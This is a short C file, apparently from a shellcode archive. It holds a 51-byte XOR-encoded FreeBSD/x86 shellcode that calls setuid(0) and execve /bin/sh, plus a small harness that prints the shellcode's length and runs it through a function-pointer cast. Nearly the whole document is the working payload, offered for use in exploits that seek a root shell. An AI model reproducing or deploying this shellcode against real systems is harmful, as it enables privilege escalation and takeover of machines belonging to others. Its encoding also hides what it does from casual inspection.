|
/** Title : 51 bytes FreeBSD/x86 encrypted setuid(0) execve /bin/sh Date : Sun May 29 08:07:11 UTC 2011 Author; mywisdom (antonsoft_2004@yahoo.com) Web : devilzc0de.org Gopher: gopher://sdf.org/1/users/wisdomc0 Blog : http://myw1sd0m.blogspot.com/ Tested on: FreeBSD 8.2-RELEASE i386 special thanks to gunslinger,flyf666,petimati,peneter,wenkhairu, danzel, net_spy, and all my friends **/ #include <stdio.h> #include <string.h> int main() { char sc[]="\xeb\x0d\x5e\x31\xc9\xb1\x1f\x80\x36\x42\x46\xe2\xfa\xeb\x05" "\xe8\xee\xff\xff\xff\x73\x82\x12\x12\xf2\x55\x8f\xc2\x73\x82" "\x12\x2a\x6d\x6d\x31\x2a\x2a\x6d\x20\x2b\x2c\xcb\xa1\x12\x16" "\x11\x12\xf2\x79\x8f\xc2"; fprintf(stdout,"Length: %d\n",strlen(sc)); (*(void(*)()) sc)(); return 0; }
|
|
|